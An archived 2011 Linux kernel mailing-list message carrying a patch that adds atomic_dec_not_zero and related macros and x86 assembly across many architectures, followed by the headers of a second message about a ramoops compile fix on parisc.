	"James E.J. Bottomley" <jejb@parisc-linux.org>,
	Ingo Molnar <mingo@redhat.com>, Matt Turner <mattst88@gmail.com>,
	Fenghua Yu <fenghua.yu@intel.com>, Arnd Bergmann <arnd@arndb.de>,
	Jeff Dike <jdike@addtoit.com>, Chris Metcalf <cmetcalf@tilera.com>,
	linux-m32r@ml.l
To: linux-arch@vger.kernel.org
Original-X-From: linux-arm-kernel-bounces+linux-arm-kernel=m.gmane.org@lists.infradead.org Wed Jul 27 11:48:09 2011
Return-path: <linux-arm-kernel-bounces+linux-arm-kernel=m.gmane.org@lists.infradead.org>
Envelope-to: linux-arm-kernel@m.gmane.org
Original-Received: from merlin.infradead.org ([205.233.59.134])
	by lo.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-arm-kernel-bounces+linux-arm-kernel=m.gmane.org@lists.infradead.org>)
	id 1Qm0ik-00057F-R4
	for linux-arm-kernel@m.gmane.org; Wed, 27 Jul 2011 11:48:07 +0200
Original-Received: from canuck.infradead.org ([134.117.69.58])
	by merlin.infradead.org with esmtps (Exim 4.76 #1 (Red Hat Linux))
	id 1Qm0ih-0002GF-FQ; Wed, 27 Jul 2011 09:48:03 +0000
Original-Received: from localhost ([127.0.0.1] helo=canuck.infradead.org)
	by canuck.infradead.org with esmtp (Exim 4.76 #1 (Red Hat Linux))
	id 1Qm0ig-0003op-VE; Wed, 27 Jul 2011 09:48:02 +0000
Original-Received: from narfation.org ([79.140.41.39] helo=v3-1039.vlinux.de)
	by canuck.infradead.org with esmtps (Exim 4.76 #1 (Red Hat Linux))
	id 1Qm0ia-0003oJ-VG for linux-arm-kernel@lists.infradead.org;
	Wed, 27 Jul 2011 09:48:00 +0000
Original-Received: from sven-desktop.home.narfation.org
	(bathseba.informatik.tu-chemnitz.de [134.109.192.185])
	by v3-1039.vlinux.de (Postfix) with ESMTPSA id C0E2A94108;
	Wed, 27 Jul 2011 11:48:41 +0200 (CEST)
DKIM-Signature: v=1; a=rsa-sha256; c=simple/simple; d=narfation.org; s=mail;
	t=1311760121; bh=ATGp+bUthL3zulipsNMtacL/sMT0z0jcOq7sNADC4ks=;
	h=From:To:Cc:Subject:Date:Message-Id;
	b=in/jNbTtlECwgRDVWtazKZcMpqNY+sPDV1xyxLTTV+m+doljkBskSvpSZisQX8IYI
	bxevnaOy/ZFyQ4zkwFsqTjHTM9wzsCXANVJX0ogSjCMH1fhyhoykWxn6MO1/oKnb+F
	QEWJ3tprs02A5O1nov31KY3JHUDy7Org+8nkXYds=
X-Mailer: git-send-email 1.7.5.4
X-CRM114-Version: 20090807-BlameThorstenAndJenny ( TRE 0.7.6 (BSD) )
	MR-646709E3 
X-CRM114-CacheID: sfid-20110727_054757_404327_33E8BB73 
X-CRM114-Status: GOOD (  16.54  )
X-Spam-Score: -3.6 (---)
X-Spam-Report: SpamAssassin version 3.3.1 on canuck.infradead.org summary:
	Content analysis details:   (-3.6 points)
	pts rule name              description
	---- ----------------------
	--------------------------------------------------
	-2.3 RCVD_IN_DNSWL_MED RBL: Sender listed at http://www.dnswl.org/,
	medium trust [79.140.41.39 listed in list.dnswl.org]
	-1.2 RP_MATCHES_RCVD Envelope sender domain matches handover relay
	domain
	-0.1 DKIM_VALID_AU Message has a valid DKIM or DK signature from
	author's domain
	0.1 DKIM_SIGNED            Message has a DKIM or DK signature,
	not necessarily valid
	-0.1 DKIM_VALID Message has at least one valid DKIM or DK signature
X-BeenThere: linux-arm-kernel@lists.infradead.org
X-Mailman-Version: 2.1.12
Precedence: list
List-Id: <linux-arm-kernel.lists.infradead.org>
List-Unsubscribe: <http://lists.infradead.org/mailman/options/linux-arm-kernel>, 
	<mailto:linux-arm-kernel-request@lists.infradead.org?subject=unsubscribe>
List-Archive: <http://lists.infradead.org/pipermail/linux-arm-kernel/>
List-Post: <mailto:linux-arm-kernel@lists.infradead.org>
List-Help: <mailto:linux-arm-kernel-request@lists.infradead.org?subject=help>
List-Subscribe: <http://lists.infradead.org/mailman/listinfo/linux-arm-kernel>, 
	<mailto:linux-arm-kernel-request@lists.infradead.org?subject=subscribe>
Original-Sender: linux-arm-kernel-bounces@lists.infradead.org
Errors-To: linux-arm-kernel-bounces+linux-arm-kernel=m.gmane.org@lists.infradead.org
Xref: news.gmane.org gmane.linux.ports.arm.kernel:126704 gmane.linux.kernel.cross-arch:10501 gmane.linux.ports.mips.general:31832 gmane.linux.ports.ia64:21818 gmane.linux.documentation:3144 gmane.linux.ports.sparc:15200 gmane.linux.uml.devel:12964 gmane.linux.ports.parisc:3887 gmane.linux.kernel:1172038 gmane.linux.ports.alpha:1518 gmane.linux.ports.ppc64.devel:76142
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.arm.kernel/126704>

Introduce an *_dec_not_zero operation.  Make this a special case of
*_add_unless because batman-adv uses atomic_dec_not_zero in different
places like re-broadcast queue or aggregation queue management. There
are other non-final patches which may also want to use this macro.

Reported-by: David S. Miller <davem@davemloft.net>
Signed-off-by: Sven Eckelmann <sven@narfation.org>
Cc: Randy Dunlap <rdunlap@xenotime.net>
Cc: Richard Henderson <rth@twiddle.net>
Cc: Ivan Kokshaysky <ink@jurassic.park.msu.ru>
Cc: Matt Turner <mattst88@gmail.com>
Cc: Russell King <linux@arm.linux.org.uk>
Cc: Tony Luck <tony.luck@intel.com>
Cc: Fenghua Yu <fenghua.yu@intel.com>
Cc: Hirokazu Takata <takata@linux-m32r.org>
Cc: Ralf Baechle <ralf@linux-mips.org>
Cc: Kyle McMartin <kyle@mcmartin.ca>
Cc: Helge Deller <deller@gmx.de>
Cc: "James E.J. Bottomley" <jejb@parisc-linux.org>
Cc: Benjamin Herrenschmidt <benh@kernel.crashing.org>
Cc: Paul Mackerras <paulus@samba.org>
Cc: Martin Schwidefsky <schwidefsky@de.ibm.com>
Cc: Heiko Carstens <heiko.carstens@de.ibm.com>
Cc: linux390@de.ibm.com
Cc: "David S. Miller" <davem@davemloft.net>
Cc: Chris Metcalf <cmetcalf@tilera.com>
Cc: Jeff Dike <jdike@addtoit.com>
Cc: Richard Weinberger <richard@nod.at>
Cc: Thomas Gleixner <tglx@linutronix.de>
Cc: Ingo Molnar <mingo@redhat.com>
Cc: "H. Peter Anvin" <hpa@zytor.com>
Cc: x86@kernel.org
Cc: Arnd Bergmann <arnd@arndb.de>
Cc: linux-doc@vger.kernel.org
Cc: linux-kernel@vger.kernel.org
Cc: linux-alpha@vger.kernel.org
Cc: linux-arm-kernel@lists.infradead.org
Cc: linux-ia64@vger.kernel.org
Cc: linux-m32r@ml.linux-m32r.org
Cc: linux-m32r-ja@ml.linux-m32r.org
Cc: linux-mips@linux-mips.org
Cc: linux-parisc@vger.kernel.org
Cc: linuxppc-dev@lists.ozlabs.org
Cc: linux-s390@vger.kernel.org
Cc: sparclinux@vger.kernel.org
Cc: user-mode-linux-devel@lists.sourceforge.net
---
David S. Miller recommended this change in
 https://lists.open-mesh.org/pipermail/b.a.t.m.a.n/2011-May/004560.html

Arnd Bergmann wanted to apply it in 201106172320.26476.arnd@arndb.de

... and then Arun Sharma created a big merge conflict with
https://lkml.org/lkml/2011/6/6/430

I don't think that it is a a good idea to asume that everyone still agrees
with the patch after I've rewritten it.

 Documentation/atomic_ops.txt       |    1 +
 arch/alpha/include/asm/atomic.h    |    1 +
 arch/alpha/include/asm/local.h     |    1 +
 arch/arm/include/asm/atomic.h      |    1 +
 arch/ia64/include/asm/atomic.h     |    1 +
 arch/m32r/include/asm/local.h      |    1 +
 arch/mips/include/asm/atomic.h     |    1 +
 arch/mips/include/asm/local.h      |    1 +
 arch/parisc/include/asm/atomic.h   |    1 +
 arch/powerpc/include/asm/atomic.h  |    1 +
 arch/powerpc/include/asm/local.h   |    1 +
 arch/s390/include/asm/atomic.h     |    1 +
 arch/sparc/include/asm/atomic_64.h |    1 +
 arch/tile/include/asm/atomic_32.h  |    1 +
 arch/tile/include/asm/atomic_64.h  |    1 +
 arch/um/sys-i386/atomic64_cx8_32.S |   28 ++++++++++++++++++++++++++++
 arch/x86/include/asm/atomic64_32.h |   12 ++++++++++++
 arch/x86/include/asm/atomic64_64.h |    1 +
 arch/x86/include/asm/local.h       |    1 +
 arch/x86/lib/atomic64_32.c         |    4 ++++
 arch/x86/lib/atomic64_386_32.S     |   21 +++++++++++++++++++++
 arch/x86/lib/atomic64_cx8_32.S     |   28 ++++++++++++++++++++++++++++
 include/asm-generic/atomic-long.h  |    2 ++
 include/asm-generic/atomic64.h     |    1 +
 include/asm-generic/local.h        |    1 +
 include/asm-generic/local64.h      |    2 ++
 include/linux/atomic.h             |    9 +++++++++
 27 files changed, 125 insertions(+), 0 deletions(-)

diff --git a/Documentation/atomic_ops.txt b/Documentation/atomic_ops.txt
index 3bd585b..1eec221 100644
--- a/Documentation/atomic_ops.txt
+++ b/Documentation/atomic_ops.txt
@@ -190,6 +190,7 @@ atomic_add_unless requires explicit memory barriers around the operation
 unless it fails (returns 0).
 
 atomic_inc_not_zero, equivalent to atomic_add_unless(v, 1, 0)
+atomic_dec_not_zero, equivalent to atomic_add_unless(v, -1, 0)
 
 
 If a caller requires memory barrier semantics around an atomic_t
diff --git a/arch/alpha/include/asm/atomic.h b/arch/alpha/include/asm/atomic.h
index 640f909..09d1571 100644
--- a/arch/alpha/include/asm/atomic.h
+++ b/arch/alpha/include/asm/atomic.h
@@ -225,6 +225,7 @@ static __inline__ int atomic64_add_unless(atomic64_t *v, long a, long u)
 }
 
 #define atomic64_inc_not_zero(v) atomic64_add_unless((v), 1, 0)
+#define atomic64_dec_not_zero(v) atomic64_add_unless((v), -1, 0)
 
 #define atomic_add_negative(a, v) (atomic_add_return((a), (v)) < 0)
 #define atomic64_add_negative(a, v) (atomic64_add_return((a), (v)) < 0)
diff --git a/arch/alpha/include/asm/local.h b/arch/alpha/include/asm/local.h
index 9c94b84..51eb678 100644
--- a/arch/alpha/include/asm/local.h
+++ b/arch/alpha/include/asm/local.h
@@ -79,6 +79,7 @@ static __inline__ long local_sub_return(long i, local_t * l)
 	c != (u);						\
 })
 #define local_inc_not_zero(l) local_add_unless((l), 1, 0)
+#define local_dec_not_zero(l) local_add_unless((l), -1, 0)
 
 #define local_add_negative(a, l) (local_add_return((a), (l)) < 0)
 
diff --git a/arch/arm/include/asm/atomic.h b/arch/arm/include/asm/atomic.h
index 86976d0..80ed975 100644
--- a/arch/arm/include/asm/atomic.h
+++ b/arch/arm/include/asm/atomic.h
@@ -458,6 +458,7 @@ static inline int atomic64_add_unless(atomic64_t *v, u64 a, u64 u)
 #define atomic64_dec_return(v)		atomic64_sub_return(1LL, (v))
 #define atomic64_dec_and_test(v)	(atomic64_dec_return((v)) == 0)
 #define atomic64_inc_not_zero(v)	atomic64_add_unless((v), 1LL, 0LL)
+#define atomic64_dec_not_zero(v)	atomic64_add_unless((v), -1LL, 0LL)
 
 #endif /* !CONFIG_GENERIC_ATOMIC64 */
 #endif
diff --git a/arch/ia64/include/asm/atomic.h b/arch/ia64/include/asm/atomic.h
index 3fad89e..af6e9b2 100644
--- a/arch/ia64/include/asm/atomic.h
+++ b/arch/ia64/include/asm/atomic.h
@@ -122,6 +122,7 @@ static __inline__ long atomic64_add_unless(atomic64_t *v, long a, long u)
 }
 
 #define atomic64_inc_not_zero(v) atomic64_add_unless((v), 1, 0)
+#define atomic64_dec_not_zero(v) atomic64_add_unless((v), -1, 0)
 
 #define atomic_add_return(i,v)						\
 ({									\
diff --git a/arch/m32r/include/asm/local.h b/arch/m32r/include/asm/local.h
index 734bca8..d536082 100644
--- a/arch/m32r/include/asm/local.h
+++ b/arch/m32r/include/asm/local.h
@@ -272,6 +272,7 @@ static inline int local_add_unless(local_t *l, long a, long u)
 }
 
 #define local_inc_not_zero(l) local_add_unless((l), 1, 0)
+#define local_dec_not_zero(l) local_add_unless((l), -1, 0)
 
 static inline void local_clear_mask(unsigned long  mask, local_t *addr)
 {
diff --git a/arch/mips/include/asm/atomic.h b/arch/mips/include/asm/atomic.h
index 1d93f81..babb043 100644
--- a/arch/mips/include/asm/atomic.h
+++ b/arch/mips/include/asm/atomic.h
@@ -697,6 +697,7 @@ static __inline__ int atomic64_add_unless(atomic64_t *v, long a, long u)
 }
 
 #define atomic64_inc_not_zero(v) atomic64_add_unless((v), 1, 0)
+#define atomic64_dec_not_zero(v) atomic64_add_unless((v), -1, 0)
 
 #define atomic64_dec_return(v) atomic64_sub_return(1, (v))
 #define atomic64_inc_return(v) atomic64_add_return(1, (v))
diff --git a/arch/mips/include/asm/local.h b/arch/mips/include/asm/local.h
index 94fde8d..0242256 100644
--- a/arch/mips/include/asm/local.h
+++ b/arch/mips/include/asm/local.h
@@ -137,6 +137,7 @@ static __inline__ long local_sub_return(long i, local_t * l)
 	c != (u);						\
 })
 #define local_inc_not_zero(l) local_add_unless((l), 1, 0)
+#define local_dec_not_zero(l) local_add_unless((l), -1, 0)
 
 #define local_dec_return(l) local_sub_return(1, (l))
 #define local_inc_return(l) local_add_return(1, (l))
diff --git a/arch/parisc/include/asm/atomic.h b/arch/parisc/include/asm/atomic.h
index b1dc71f..8a50234 100644
--- a/arch/parisc/include/asm/atomic.h
+++ b/arch/parisc/include/asm/atomic.h
@@ -334,6 +334,7 @@ static __inline__ int atomic64_add_unless(atomic64_t *v, long a, long u)
 }
 
 #define atomic64_inc_not_zero(v) atomic64_add_unless((v), 1, 0)
+#define atomic64_dec_not_zero(v) atomic64_add_unless((v), -1, 0)
 
 #endif /* !CONFIG_64BIT */
 
diff --git a/arch/powerpc/include/asm/atomic.h b/arch/powerpc/include/asm/atomic.h
index e2a4c26..c0131a6 100644
--- a/arch/powerpc/include/asm/atomic.h
+++ b/arch/powerpc/include/asm/atomic.h
@@ -468,6 +468,7 @@ static __inline__ int atomic64_add_unless(atomic64_t *v, long a, long u)
 }
 
 #define atomic64_inc_not_zero(v) atomic64_add_unless((v), 1, 0)
+#define atomic64_dec_not_zero(v) atomic64_add_unless((v), -1, 0)
 
 #endif /* __powerpc64__ */
 
diff --git a/arch/powerpc/include/asm/local.h b/arch/powerpc/include/asm/local.h
index b8da913..d182e34 100644
--- a/arch/powerpc/include/asm/local.h
+++ b/arch/powerpc/include/asm/local.h
@@ -134,6 +134,7 @@ static __inline__ int local_add_unless(local_t *l, long a, long u)
 }
 
 #define local_inc_not_zero(l) local_add_unless((l), 1, 0)
+#define local_dec_not_zero(l) local_add_unless((l), -1, 0)
 
 #define local_sub_and_test(a, l)	(local_sub_return((a), (l)) == 0)
 #define local_dec_and_test(l)		(local_dec_return((l)) == 0)
diff --git a/arch/s390/include/asm/atomic.h b/arch/s390/include/asm/atomic.h
index 8517d2a..92e7d5d 100644
--- a/arch/s390/include/asm/atomic.h
+++ b/arch/s390/include/asm/atomic.h
@@ -325,6 +325,7 @@ static inline long long atomic64_dec_if_positive(atomic64_t *v)
 #define atomic64_dec_return(_v)		atomic64_sub_return(1, _v)
 #define atomic64_dec_and_test(_v)	(atomic64_sub_return(1, _v) == 0)
 #define atomic64_inc_not_zero(v)	atomic64_add_unless((v), 1, 0)
+#define atomic64_dec_not_zero(v)	atomic64_add_unless((v), -1, 0)
 
 #define smp_mb__before_atomic_dec()	smp_mb()
 #define smp_mb__after_atomic_dec()	smp_mb()
diff --git a/arch/sparc/include/asm/atomic_64.h b/arch/sparc/include/asm/atomic_64.h
index 9f421df..94cf160 100644
--- a/arch/sparc/include/asm/atomic_64.h
+++ b/arch/sparc/include/asm/atomic_64.h
@@ -106,6 +106,7 @@ static inline long atomic64_add_unless(atomic64_t *v, long a, long u)
 }
 
 #define atomic64_inc_not_zero(v) atomic64_add_unless((v), 1, 0)
+#define atomic64_dec_not_zero(v) atomic64_add_unless((v), -1, 0)
 
 /* Atomic operations are already serializing */
 #define smp_mb__before_atomic_dec()	barrier()
diff --git a/arch/tile/include/asm/atomic_32.h b/arch/tile/include/asm/atomic_32.h
index c03349e..9cfafb3 100644
--- a/arch/tile/include/asm/atomic_32.h
+++ b/arch/tile/include/asm/atomic_32.h
@@ -233,6 +233,7 @@ static inline void atomic64_set(atomic64_t *v, u64 n)
 #define atomic64_dec_return(v)		atomic64_sub_return(1LL, (v))
 #define atomic64_dec_and_test(v)	(atomic64_dec_return((v)) == 0)
 #define atomic64_inc_not_zero(v)	atomic64_add_unless((v), 1LL, 0LL)
+#define atomic64_dec_not_zero(v)	atomic64_add_unless((v), -1LL, 0LL)
 
 /*
  * We need to barrier before modifying the word, since the _atomic_xxx()
diff --git a/arch/tile/include/asm/atomic_64.h b/arch/tile/include/asm/atomic_64.h
index 27fe667..9c22f50 100644
--- a/arch/tile/include/asm/atomic_64.h
+++ b/arch/tile/include/asm/atomic_64.h
@@ -141,6 +141,7 @@ static inline long atomic64_add_unless(atomic64_t *v, long a, long u)
 #define atomic64_add_negative(i, v)	(atomic64_add_return((i), (v)) < 0)
 
 #define atomic64_inc_not_zero(v)	atomic64_add_unless((v), 1, 0)
+#define atomic64_dec_not_zero(v)	atomic64_add_unless((v), -1, 0)
 
 /* Atomic dec and inc don't implement barrier, so provide them if needed. */
 #define smp_mb__before_atomic_dec()	smp_mb()
diff --git a/arch/um/sys-i386/atomic64_cx8_32.S b/arch/um/sys-i386/atomic64_cx8_32.S
index 1e901d3..a58a1d4 100644
--- a/arch/um/sys-i386/atomic64_cx8_32.S
+++ b/arch/um/sys-i386/atomic64_cx8_32.S
@@ -223,3 +223,31 @@ ENTRY(atomic64_inc_not_zero_cx8)
 	jmp 3b
 	CFI_ENDPROC
 ENDPROC(atomic64_inc_not_zero_cx8)
+
+ENTRY(atomic64_dec_not_zero_cx8)
+	CFI_STARTPROC
+	SAVE ebx
+
+	read64 %esi
+1:
+	testl %eax, %eax
+	je 4f
+2:
+	movl %eax, %ebx
+	movl %edx, %ecx
+	subl $1, %ebx
+	sbbl $0, %ecx
+	LOCK_PREFIX
+	cmpxchg8b (%esi)
+	jne 1b
+
+	movl $1, %eax
+3:
+	RESTORE ebx
+	ret
+4:
+	testl %edx, %edx
+	jne 2b
+	jmp 3b
+	CFI_ENDPROC
+ENDPROC(atomic64_dec_not_zero_cx8)
diff --git a/arch/x86/include/asm/atomic64_32.h b/arch/x86/include/asm/atomic64_32.h
index 24098aa..3cd4431 100644
--- a/arch/x86/include/asm/atomic64_32.h
+++ b/arch/x86/include/asm/atomic64_32.h
@@ -287,6 +287,18 @@ static inline int atomic64_inc_not_zero(atomic64_t *v)
 	return r;
 }
 
+
+static inline int atomic64_dec_not_zero(atomic64_t *v)
+{
+	int r;
+	asm volatile(ATOMIC64_ALTERNATIVE(dec_not_zero)
+		     : "=a" (r)
+		     : "S" (v)
+		     : "ecx", "edx", "memory"
+		     );
+	return r;
+}
+
 static inline long long atomic64_dec_if_positive(atomic64_t *v)
 {
 	long long r;
diff --git a/arch/x86/include/asm/atomic64_64.h b/arch/x86/include/asm/atomic64_64.h
index 017594d..93c9d8b 100644
--- a/arch/x86/include/asm/atomic64_64.h
+++ b/arch/x86/include/asm/atomic64_64.h
@@ -220,6 +220,7 @@ static inline int atomic64_add_unless(atomic64_t *v, long a, long u)
 }
 
 #define atomic64_inc_not_zero(v) atomic64_add_unless((v), 1, 0)
+#define atomic64_dec_not_zero(v) atomic64_add_unless((v), -1, 0)
 
 /*
  * atomic64_dec_if_positive - decrement by 1 if old value positive
diff --git a/arch/x86/include/asm/local.h b/arch/x86/include/asm/local.h
index 9cdae5d..2c8c92d 100644
--- a/arch/x86/include/asm/local.h
+++ b/arch/x86/include/asm/local.h
@@ -185,6 +185,7 @@ static inline long local_sub_return(long i, local_t *l)
 	c != (u);						\
 })
 #define local_inc_not_zero(l) local_add_unless((l), 1, 0)
+#define local_dec_not_zero(l) local_add_unless((l), -1, 0)
 
 /* On x86_32, these are no better than the atomic variants.
  * On x86-64 these are better than the atomic variants on SMP kernels
diff --git a/arch/x86/lib/atomic64_32.c b/arch/x86/lib/atomic64_32.c
index 042f682..7da05c3 100644
--- a/arch/x86/lib/atomic64_32.c
+++ b/arch/x86/lib/atomic64_32.c
@@ -24,6 +24,8 @@ long long atomic64_dec_if_positive_cx8(atomic64_t *v);
 EXPORT_SYMBOL(atomic64_dec_if_positive_cx8);
 int atomic64_inc_not_zero_cx8(atomic64_t *v);
 EXPORT_SYMBOL(atomic64_inc_not_zero_cx8);
+int atomic64_dec_not_zero_cx8(atomic64_t *v);
+EXPORT_SYMBOL(atomic64_dec_not_zero_cx8);
 int atomic64_add_unless_cx8(atomic64_t *v, long long a, long long u);
 EXPORT_SYMBOL(atomic64_add_unless_cx8);
 
@@ -54,6 +56,8 @@ long long atomic64_dec_if_positive_386(atomic64_t *v);
 EXPORT_SYMBOL(atomic64_dec_if_positive_386);
 int atomic64_inc_not_zero_386(atomic64_t *v);
 EXPORT_SYMBOL(atomic64_inc_not_zero_386);
+int atomic64_dec_not_zero_386(atomic64_t *v);
+EXPORT_SYMBOL(atomic64_dec_not_zero_386);
 int atomic64_add_unless_386(atomic64_t *v, long long a, long long u);
 EXPORT_SYMBOL(atomic64_add_unless_386);
 #endif
diff --git a/arch/x86/lib/atomic64_386_32.S b/arch/x86/lib/atomic64_386_32.S
index e8e7e0d..c78337b 100644
--- a/arch/x86/lib/atomic64_386_32.S
+++ b/arch/x86/lib/atomic64_386_32.S
@@ -181,6 +181,27 @@ ENDP
 #undef v
 
 #define v %esi
+BEGIN(dec_not_zero)
+	movl  (v), %eax
+	movl 4(v), %edx
+	testl %eax, %eax
+	je 3f
+1:
+	subl $1, %eax
+	sbbl $0, %edx
+	movl %eax,  (v)
+	movl %edx, 4(v)
+	movl $1, %eax
+2:
+	RET
+3:
+	testl %edx, %edx
+	jne 1b
+	jmp 2b
+ENDP
+#undef v
+
+#define v %esi
 BEGIN(dec_if_positive)
 	movl  (v), %eax
 	movl 4(v), %edx
diff --git a/arch/x86/lib/atomic64_cx8_32.S b/arch/x86/lib/atomic64_cx8_32.S
index 391a083..989638c 100644
--- a/arch/x86/lib/atomic64_cx8_32.S
+++ b/arch/x86/lib/atomic64_cx8_32.S
@@ -220,3 +220,31 @@ ENTRY(atomic64_inc_not_zero_cx8)
 	jmp 3b
 	CFI_ENDPROC
 ENDPROC(atomic64_inc_not_zero_cx8)
+
+ENTRY(atomic64_dec_not_zero_cx8)
+	CFI_STARTPROC
+	SAVE ebx
+
+	read64 %esi
+1:
+	testl %eax, %eax
+	je 4f
+2:
+	movl %eax, %ebx
+	movl %edx, %ecx
+	subl $1, %ebx
+	sbbl $0, %ecx
+	LOCK_PREFIX
+	cmpxchg8b (%esi)
+	jne 1b
+
+	movl $1, %eax
+3:
+	RESTORE ebx
+	ret
+4:
+	testl %edx, %edx
+	jne 2b
+	jmp 3b
+	CFI_ENDPROC
+ENDPROC(atomic64_dec_not_zero_cx8)
diff --git a/include/asm-generic/atomic-long.h b/include/asm-generic/atomic-long.h
index b7babf0..0fe75ab 100644
--- a/include/asm-generic/atomic-long.h
+++ b/include/asm-generic/atomic-long.h
@@ -130,6 +130,7 @@ static inline long atomic_long_add_unless(atomic_long_t *l, long a, long u)
 }
 
 #define atomic_long_inc_not_zero(l) atomic64_inc_not_zero((atomic64_t *)(l))
+#define atomic_long_dec_not_zero(l) atomic64_dec_not_zero((atomic64_t *)(l))
 
 #define atomic_long_cmpxchg(l, old, new) \
 	(atomic64_cmpxchg((atomic64_t *)(l), (old), (new)))
@@ -247,6 +248,7 @@ static inline long atomic_long_add_unless(atomic_long_t *l, long a, long u)
 }
 
 #define atomic_long_inc_not_zero(l) atomic_inc_not_zero((atomic_t *)(l))
+#define atomic_long_dec_not_zero(l) atomic_dec_not_zero((atomic_t *)(l))
 
 #define atomic_long_cmpxchg(l, old, new) \
 	(atomic_cmpxchg((atomic_t *)(l), (old), (new)))
diff --git a/include/asm-generic/atomic64.h b/include/asm-generic/atomic64.h
index b18ce4f..90ff9b1 100644
--- a/include/asm-generic/atomic64.h
+++ b/include/asm-generic/atomic64.h
@@ -38,5 +38,6 @@ extern int	 atomic64_add_unless(atomic64_t *v, long long a, long long u);
 #define atomic64_dec_return(v)		atomic64_sub_return(1LL, (v))
 #define atomic64_dec_and_test(v)	(atomic64_dec_return((v)) == 0)
 #define atomic64_inc_not_zero(v) 	atomic64_add_unless((v), 1LL, 0LL)
+#define atomic64_dec_not_zero(v)	atomic64_add_unless((v), -1LL, 0LL)
 
 #endif  /*  _ASM_GENERIC_ATOMIC64_H  */
diff --git a/include/asm-generic/local.h b/include/asm-generic/local.h
index 9ceb03b..fabf4f3 100644
--- a/include/asm-generic/local.h
+++ b/include/asm-generic/local.h
@@ -44,6 +44,7 @@ typedef struct
 #define local_xchg(l, n) atomic_long_xchg((&(l)->a), (n))
 #define local_add_unless(l, _a, u) atomic_long_add_unless((&(l)->a), (_a), (u))
 #define local_inc_not_zero(l) atomic_long_inc_not_zero(&(l)->a)
+#define local_dec_not_zero(l) atomic_long_dec_not_zero(&(l)->a)
 
 /* Non-atomic variants, ie. preemption disabled and won't be touched
  * in interrupt, etc.  Some archs can optimize this case well. */
diff --git a/include/asm-generic/local64.h b/include/asm-generic/local64.h
index 5980002..76acbe2 100644
--- a/include/asm-generic/local64.h
+++ b/include/asm-generic/local64.h
@@ -45,6 +45,7 @@ typedef struct {
 #define local64_xchg(l, n)	local_xchg((&(l)->a), (n))
 #define local64_add_unless(l, _a, u) local_add_unless((&(l)->a), (_a), (u))
 #define local64_inc_not_zero(l)	local_inc_not_zero(&(l)->a)
+#define local64_dec_not_zero(l)	local_dec_not_zero(&(l)->a)
 
 /* Non-atomic variants, ie. preemption disabled and won't be touched
  * in interrupt, etc.  Some archs can optimize this case well. */
@@ -83,6 +84,7 @@ typedef struct {
 #define local64_xchg(l, n)	atomic64_xchg((&(l)->a), (n))
 #define local64_add_unless(l, _a, u) atomic64_add_unless((&(l)->a), (_a), (u))
 #define local64_inc_not_zero(l)	atomic64_inc_not_zero(&(l)->a)
+#define local64_dec_not_zero(l)	atomic64_dec_not_zero(&(l)->a)
 
 /* Non-atomic variants, ie. preemption disabled and won't be touched
  * in interrupt, etc.  Some archs can optimize this case well. */
diff --git a/include/linux/atomic.h b/include/linux/atomic.h
index 42b77b5..ad2b750 100644
--- a/include/linux/atomic.h
+++ b/include/linux/atomic.h
@@ -27,6 +27,15 @@ static inline int atomic_add_unless(atomic_t *v, int a, int u)
 #define atomic_inc_not_zero(v)		atomic_add_unless((v), 1, 0)
 
 /**
+ * atomic_dec_not_zero - decrement unless the number is zero
+ * @v: pointer of type atomic_t
+ *
+ * Atomically decrements @v by 1, so long as @v is non-zero.
+ * Returns non-zero if @v was non-zero, and zero otherwise.
+ */
+#define atomic_dec_not_zero(v)		atomic_add_unless((v), -1, 0)
+
+/**
  * atomic_inc_not_zero_hint - increment if not null
  * @v: pointer of type atomic_t
  * @hint: probable value of the atomic before the increment
-- 
1.7.5.4

From - Thu Nov 08 21:07:30 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: James Bottomley <James.Bottomley@HansenPartnership.com>
Newsgroups: gmane.linux.ports.parisc,gmane.linux.kernel
Subject: ramoops: fix compile failure on parisc
Date: Fri, 29 Jul 2011 17:11:32 +0400
Lines: 30
Approved: news@gmane.org
Message-ID: <1311945092.8190.34.camel@mulgrave>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset="UTF-8"
Content-Transfer-Encoding: 7bit
X-Trace: dough.gmane.org 1311945155 13453 80.91.229.12 (29 Jul 2011 13:12:35 GMT)
X-Complaints-To: usenet@dough.gmane.org
NNTP-Posting-Date: Fri, 29 Jul 2011 13:12:35 +0000 (UTC)
Cc: linux-kernel <linux-kernel@vger.kernel.org>,
	Parisc List <linux-parisc@vger.kernel.org>
To: Linus Torvalds <torvalds@linux-foundation.org>,
	Marco Stornelli <marco.stornelli@gmail.com>
Original-X-From: linux-parisc-owner@vger.kernel.org Fri Jul 29 15:12:30 2011
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@lo.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by lo.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1Qmmrd-0001vn-Mb
	for glpp-linux-parisc@lo.gmane.org; Fri, 29 Jul 2011 15:12:30 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1756360Ab1G2NM0 (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Fri, 29 Jul 2011 09:12:26 -0400
Original-Received: from bedivere.hansenpartnership.com ([66.63.167.143]:47792 "EHLO
	bedivere.hansenpartnership.com" rhost-flags-OK-OK-OK-OK)
	by vger.kernel.org with ESMTP id S1756061Ab1G2NMZ (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Fri, 29 Jul 2011 09:12:25 -0400
Original-Received: from localhost (localhost [127.0.0.1])
	by bedivere.hansenpartnership.com (Postfix) with ESMTP id 274028EE0CF;
	Fri, 29 Jul 2011 06:12:25 -0700 (PDT)
Original-Received: from bedivere.hansenpartnership.com ([127.0.0.1])
	by localhost (bedivere.hansenpartnership.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 2+MK2nrT5DhD; Fri, 29 Jul 2011 06:12:25 -0700 (PDT)
Original-Received: from [10.24.11.95] (swsoft-msk-nat.sw.ru [195.214.232.10])
	by bedivere.hansenpartnership.com (Postfix) with ESMTPSA id 6DE738EE08E;
	Fri, 29 Jul 2011 06:11:58 -0700 (PDT)
X-Mailer: Evolution 2.32.2 (2.32.2-1.fc14) 
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
